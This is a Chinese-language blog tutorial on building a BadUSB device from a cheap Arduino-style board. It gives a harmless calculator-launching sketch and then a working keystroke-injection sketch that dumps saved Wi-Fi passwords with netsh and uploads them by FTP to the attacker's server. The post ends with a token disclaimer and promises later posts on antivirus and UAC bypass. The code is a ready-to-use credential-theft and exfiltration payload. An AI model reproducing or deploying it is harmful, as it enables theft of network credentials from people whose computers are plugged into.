因为一些因素,所以近期接触到了badusb,官方话还是要说,科普话也同样要说

“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

首先买了一块板子,没错就是这种三四十块的,虽然外形很难让人接受,如果做社会工程学的话建议多花十块,买个带壳子的!

BadUSB制作-详细指南-JE2Se ' Blog

开发工具,没错就是这货

BadUSB制作-详细指南-JE2Se ' Blog

插入我们买的板子,点击工具-获取开发板信息

BadUSB制作-详细指南-JE2Se ' Blog

然后再工具,选择我们刚刚得到的信息

BadUSB制作-详细指南-JE2Se ' Blog

好了   准备工作已经齐活了。开始工作吧

先简单的举一个弹计算器的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
 
void loop()//循环
{
}

点击1,再点击2

BadUSB制作-详细指南-JE2Se ' Blog

这个时候就一个badusb就已经制作好了,插入电脑后会自动打开计算器

BadUSB制作-详细指南-JE2Se ' Blog

---------------------------分割线------------------------------------

这都是比较低级的,还能做什么呢?像窃取文件啦。木马远控了

不过这些就需要配合一些其他的东西。就是一个虚拟主机,淘宝上也是十几块钱吧

以wifi密码窃取为例

让我们先看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));<br>//这段代码的功能是把你电脑保存的wifi密码输出出来。保存到一个txt文件里面<br>delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //这里我关闭了大小写
delay(500);
Keyboard.press(KEY_LEFT_SHIFT); //现在的输入法默认的都是开机自启汉字选项,我利用shift给他切换一下
Keyboard.release(KEY_LEFT_SHIFT);
delay(500);
Keyboard.print(F("ftp xxxxxxxx")); //这是你的ftp服务器地址
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("xxxxxx"));  //用户名
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("xxxxxx"));  //密码
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("put d:/wifi.txt")); //上传刚才的wifi文件
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("bye"));
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("exit"));//结束
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯
}
 
void loop()//循环
{
}

 

这个时候电脑保存的密码就上传到了你的服务器上
----------------------------分割--------------------------

现在网上的好多源码是不同语言写的,比如这样

BadUSB制作-详细指南-JE2Se ' Blog

这是一个在线的转换网站
http://www.lotqu.com/script.html

不过转换结束之后他的源代码是

1
type  KEY_RETURN 

 

这代表着是按回车键,松开回车键,但是在这个编辑器中是无法编译的,需要修改为一下的形式

1
2
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

-------------------------------分割------------------------

多实验几次  。弄点其他的花样,其实这个就是模拟一个键盘的操作,可以说能作非常多的事
--------------------------------分割线------------------------------------------

大家可能发现,以上的这种办法只适合win10,只有win10能运行。XP,WIN7都是提示了安装驱动,你以为就没有办法进行绕过了嘛?出现这种状况的原因是开发版的问题。过段时间我绘出一个全版本通用的badusb的制作。同时360,uac绕过也在我接下来的文章中会出现。

不要做坏事,本文章仅供测试此技术。了解详细信息,已做此方面的防护。请不要做违反法律的事情。


【请尊重原创作者,转载请标注转载来源】